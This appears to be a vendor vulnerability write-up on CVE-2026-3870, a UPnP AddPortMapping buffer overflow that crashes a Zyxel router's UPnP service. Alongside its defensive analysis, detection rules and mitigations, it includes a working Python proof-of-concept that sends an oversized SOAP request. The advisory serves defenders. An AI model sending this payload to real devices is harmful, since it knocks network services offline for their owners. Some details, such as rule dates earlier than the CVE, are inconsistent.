CVE-2026-3870
Executive Summary
CVE-2026-3870 is a buffer overflow vulnerability in the UPnP AddPortMapping() command of the Zyxel VMG4005-B50B router, affecting firmware versions up to 5.13(ABRL.5.4)C0. An adjacent attacker can trigger a temporary denial-of-service (DoS) condition, disrupting the UPnP function of the device. The vulnerability has a CVSS score of 6.5 (Medium) and currently has no known public exploit or patch. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks on adjacent networks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a network device.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Base Score: 6.5 (Medium)
- Attack Vector: Adjacent Network (AV:A) – attacker must be on the same local network or within wireless range.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – no authentication needed.
- User Interaction: None (UI:N) – no user action required.
- Scope: Unchanged (S:U) – impact is confined to the vulnerable component.
- Confidentiality Impact: None (C:N)
- Integrity Impact: None (I:N)
- Availability Impact: High (A:H) – temporary DoS affecting UPnP functionality.
Threat Level: Medium. The vulnerability requires adjacent network access, limiting remote exploitation. However, it can be used in conjunction with other attacks to disrupt network services.
Deep Dive & Mechanics
The vulnerability resides in the UPnP (Universal Plug and Play) service implementation of the Zyxel VMG4005-B50B router. The AddPortMapping() action, which allows external devices to map ports to internal hosts, does not properly validate the length of input parameters. When a specially crafted UPnP request is sent, a buffer overflow occurs in the stack or heap, corrupting memory and causing the UPnP service to crash.
Root Cause: Lack of bounds checking on input strings (e.g., NewExternalPort, NewInternalPort, NewInternalClient) in the AddPortMapping() handler. The firmware uses fixed-size buffers without verifying that the input length does not exceed the buffer capacity.
Attack Vector: An attacker on the same local network sends a malicious SOAP (Simple Object Access Protocol) request to the UPnP control point (typically on UDP port 1900 or TCP port 5000). The request contains oversized parameters that overflow the buffer, leading to a crash.
Impact: The UPnP service becomes temporarily unavailable, preventing legitimate port mapping operations. The device may recover after a reboot or service restart, but repeated attacks can cause persistent disruption.
Vulnerable vs. Patched Code
Since no patch is available, a hypothetical fix would involve adding input validation and bounds checking. Below is a comparison of vulnerable and patched pseudocode.
Vulnerable Code (C-like):
void AddPortMapping(char *NewExternalPort, char *NewInternalPort, char *NewInternalClient) {
char extPort[10];
char intPort[10];
char intClient[16];
strcpy(extPort, NewExternalPort); // No bounds check
strcpy(intPort, NewInternalPort); // No bounds check
strcpy(intClient, NewInternalClient); // No bounds check
// Process mapping...
}
Patched Code (C-like):
void AddPortMapping(char *NewExternalPort, char *NewInternalPort, char *NewInternalClient) {
char extPort[10];
char intPort[10];
char intClient[16];
if (strlen(NewExternalPort) >= sizeof(extPort) ||
strlen(NewInternalPort) >= sizeof(intPort) ||
strlen(NewInternalClient) >= sizeof(intClient)) {
return; // Reject oversized input
}
strcpy(extPort, NewExternalPort);
strcpy(intPort, NewInternalPort);
strcpy(intClient, NewInternalClient);
// Process mapping...
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to the same local network as the target Zyxel VMG4005-B50B.
- Target device running firmware version <= 5.13(ABRL.5.4)C0 with UPnP enabled.
Exploitation Steps:
- Identify the target device's IP address (e.g., via ARP scan or UPnP discovery).
- Send a crafted SOAP request to the UPnP control point (typically
http://<target>:5000/upnp/control/wanpppc1). - The request contains an oversized
NewExternalPortparameter (e.g., 1000 'A' characters) to trigger the buffer overflow.
Example Exploit Payload (Python):
import socket
target_ip = "192.168.1.1"
port = 5000
payload = (
"<?xml version=\"1.0\"?>"
"<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
"<s:Body>"
"<u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">"
"<NewExternalPort>" + "A" * 1000 + "</NewExternalPort>"
"<NewInternalPort>80</NewInternalPort>"
"<NewInternalClient>192.168.1.100</NewInternalClient>"
"<NewProtocol>TCP</NewProtocol>"
"<NewEnabled>1</NewEnabled>"
"<NewPortMappingDescription>test</NewPortMappingDescription>"
"<NewLeaseDuration>0</NewLeaseDuration>"
"</u:AddPortMapping>"
"</s:Body>"
"</s:Envelope>"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, port))
sock.send(("POST /upnp/control/wanpppc1 HTTP/1.1\r\n"
"Host: " + target_ip + ":5000\r\n"
"Content-Type: text/xml\r\n"
"Content-Length: " + str(len(payload)) + "\r\n"
"SOAPAction: \"urn:schemas-upnp-org:service:WANPPPConnection:1#AddPortMapping\"\r\n\r\n" + payload).encode())
sock.close()
Expected Outcome: The UPnP service crashes, causing a temporary DoS. The device may log the crash, and the UPnP function becomes unresponsive until a reboot.
Blue Team
Detection:
- Monitor UPnP traffic for abnormally long parameter values in
AddPortMappingrequests. - Use network intrusion detection systems (NIDS) to flag oversized SOAP payloads.
- Check device logs for UPnP service crashes or memory corruption errors.
Mitigation:
- Disable UPnP on the device if not required.
- Apply network segmentation to limit adjacent network access.
- Monitor for firmware updates from Zyxel.
Indicators of Compromise (IOCs)
- Network Traffic:
- SOAP requests to
http://<device_ip>:5000/upnp/control/wanpppc1withContent-Lengthexceeding normal bounds (e.g., > 2000 bytes). - Repeated UPnP
AddPortMappingrequests with parameter values containing long strings of repeating characters (e.g., 'A' * 1000).
- SOAP requests to
- Device Logs:
- Entries indicating UPnP service crash or restart.
- Memory corruption errors in system logs.
- System Behavior:
- Inability to create or modify port mappings via UPnP.
- Temporary unavailability of UPnP features.
Detection Engineering
YARA Rule
rule CVE_2026_3870_UPnP_BufferOverflow {
meta:
description = "Detects oversized UPnP AddPortMapping requests targeting Zyxel VMG4005-B50B"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2026-3870"
strings:
$soap_action = "AddPortMapping"
$new_external_port = "<NewExternalPort>"
$long_string = /[A-Za-z0-9]{500,}/
condition:
$soap_action and $new_external_port and #long_string > 0
}
Sigma Rule
title: CVE-2026-3870 UPnP AddPortMapping Buffer Overflow Attempt
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects oversized UPnP AddPortMapping requests targeting Zyxel VMG4005-B50B
author: Valters IT
date: 2025-04-10
logsource:
category: network
product: suricata
detection:
selection:
app_protocol: upnp
http.uri: /upnp/control/wanpppc1
http.method: POST
http.content_length: ">=2000"
condition: selection
falsepositives:
- Legitimate large UPnP requests (rare)
level: high
Suricata Rule
alert tcp any any -> any 5000 (msg:"CVE-2026-3870 UPnP AddPortMapping Buffer Overflow Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/upnp/control/wanpppc1"; http_uri; content:"AddPortMapping"; http_client_body; pcre:"/<NewExternalPort>[A-Za-z0-9]{500,}<\/NewExternalPort>/"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable UPnP on the Zyxel VMG4005-B50B if not required for network operations.
- Restrict network access to the device's management interface (e.g., via firewall rules) to trusted hosts only.
- Monitor for firmware updates from Zyxel and apply patches as soon as they become available.
Long-Term Recommendations:
- Implement network segmentation to isolate vulnerable devices from untrusted adjacent networks.
- Use a dedicated UPnP-aware firewall or IDS/IPS to filter malicious UPnP traffic.
- Consider replacing the device with a model that receives regular security updates.
Workaround: If UPnP is required, limit its use to specific internal hosts and monitor logs for unusual activity.
Valters IT